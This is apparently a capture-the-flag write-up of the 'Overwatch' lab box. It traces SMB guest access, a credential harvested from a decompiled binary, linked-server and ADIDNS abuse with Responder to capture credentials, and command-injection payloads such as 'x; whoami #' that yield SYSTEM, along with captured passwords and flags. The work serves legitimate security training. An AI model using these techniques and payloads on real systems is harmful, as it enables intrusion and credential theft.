Overwatch — Attack Chain

Current Path

Initial recon (nmap → 21 ports; MSSQL on non-standard 6520 flagged)
  → SMB null-auth: Null Auth=True but --shares ACCESS_DENIED
  → SMB Guest mapping: nxc with junk user 'theo' + empty pw → (Guest)
  → READ on hidden share software$
  → loot/software$/Monitoring/: overwatch.exe + .pdb + .config + MS CIM dll
  → ilspycmd decompile of overwatch.exe
  → hardcoded credential: sqlsvc:TI0LKcfHzZw1Vv
  → impacket-mssqlclient -windows-auth on port 6520
  → authenticated as OVERWATCH\sqlsvc, dbo on `overwatch` DB (guest on master)
  → DB enum → linked server SQL07 (is_linked=1, all abuse flags enabled)
  → SQL07 host unreachable from DC (DNS has no record)
  → LLMNR/NBT-NS poisoning fails (cross-subnet: attacker 10.10.14.0/23, target 10.129.x.x)
  → dnstool.py (krbrelayx) ADIDNS dynamic update via sqlsvc LDAP bind
  → added SQL07 A 10.10.14.175 to overwatch.htb zone
  → Responder rogue MSSQL listener on tun0
  → OPENQUERY([SQL07], ...) re-fired from impacket session
  → DC connects to attacker; Responder catches TDS login packet
  → CLEARTEXT capture: sqlmgmt:bIhBbzMMnB82yx
  → tested across MSSQL/SMB/WinRM/LDAP — WinRM (Pwn3d!) via BUILTIN\Remote Management Users
  → evil-winrm shell as OVERWATCH\sqlmgmt
  → user.txt @ C:\Users\sqlmgmt\Desktop = 1c74c6b9aff97086b2c7b733945d6799
  → AD privesc paths all dead (no Kerberoast, no AS-REP, no ADCS, no BloodHound edges)
  → returned to original overwatch.exe binary (foothold-stage loot) and re-read decompile
  → KillProcess(processName) builds PowerShell via string concat: "Stop-Process -Name " + processName + " -Force"
  → service listens on 0.0.0.0:8000 but external port blocked by Windows Firewall; localhost path open
  → service hosted by HTTP.sys (PID 4); runs as LocalSystem
  → from evil-winrm: New-WebServiceProxy http://localhost:8000/MonitorService?wsdl
  → $proxy.KillProcess('x; whoami #') → nt authority\system (RCE as SYSTEM on DC)
  → $proxy.KillProcess('x; type C:\Users\Administrator\Desktop\root.txt #')
  → root.txt = 81ae7038a3c84081d764a3df4f49e6fe (BOX COMPLETE)

Branch Points

#	Decision	Options Considered	Chose	Why
1	After SMB share enum denied	(a) Null-session RID brute; (b) anonymous LDAP; (c) MSSQL 6520; (d) retry SMB with username	(d)	Trying junk username is cheapest; revealed Guest mapping was enabled
2	After downloading overwatch.exe	(a) strings only; (b) decompile with ilspycmd; (c) hand off to dnSpy on Windows VM	(b)	Small binary (9.5KB) + PDB present → ilspycmd gives source-equivalent C# in seconds
3	After MSSQL connection as sqlsvc	(a) Try sa (disabled); (b) abuse linked server SQL07; (c) dump Eventlog table; (d) xp_dirtree UNC hash capture	(b) then (c) for safety	SQL07 flags all enabled = highest reward; Eventlog turned out empty anyway
4	After linked server enum (host unreachable)	(a) LLMNR/NBT-NS poisoning + Responder; (b) ADIDNS dynamic update via dnstool; (c) xp_dirtree to capture sqlsvc hash (already have)	(a) tried first then (b)	Tried (a) first because Responder was already up — didn't fire because of cross-subnet broadcast non-traversal. (b) is the cross-subnet equivalent
5	After cleartext capture of sqlmgmt	(a) Test MSSQL SQL auth first; (b) test domain-wide reuse; (c) crack as a hash (N/A — already plaintext)	(a) + (b) in parallel	Cheap to spray; want to know fastest path to RCE / shell

Status: ✅ COMPLETE

• User: 1c74c6b9aff97086b2c7b733945d6799
• Root: 81ae7038a3c84081d764a3df4f49e6fe

Dead Ends

• BBOT — wrong tool for pure-AD boxes with no public domain surface. Parked early.
• Eventlog table in overwatch DB — 0 rows. WCF service hasn't logged anything yet. Not a creds-in-DB path.
• LLMNR/NBT-NS poisoning from tun0 — broadcast/multicast doesn't cross subnets. Cross-subnet engagements need ADIDNS or another mechanism.
• sa SQL login — disabled (is_disabled=1).
• Direct xp_cmdshell on S200401 as sqlsvc — not sysadmin, no privilege to enable.
• Credential reuse of sqlsvc for SMB/WinRM/LDAP — denied at logon-rights layer (SeNetworkLogonRight not granted), not a bad password.
• Kerberoast — no SPN-bearing accounts on overwatch.htb.
• AS-REP roast — no DONT_REQ_PREAUTH accounts.
• ADCS misconfiguration — 0 CAs, 0 templates. The lone "issuance policy" was a default schema object.
• BloodHound ACL paths — no outbound edges from sqlmgmt or sqlsvc to higher-privilege objects.
• PowerShell history — file doesn't exist for sqlmgmt (account never used interactively before).

Meta-lesson

The privesc primitive was the foothold artifact we walked past. Pulled overwatch.exe from software$ at the start, decompiled it, harvested sqlsvc from the connection string — then never looked at the WCF method list again. KillProcess was visible in the very first decompile pass. Lesson: every binary you decompile during foothold needs a second read after every shell upgrade. Methods you skipped past at one stage might be the bug at the next.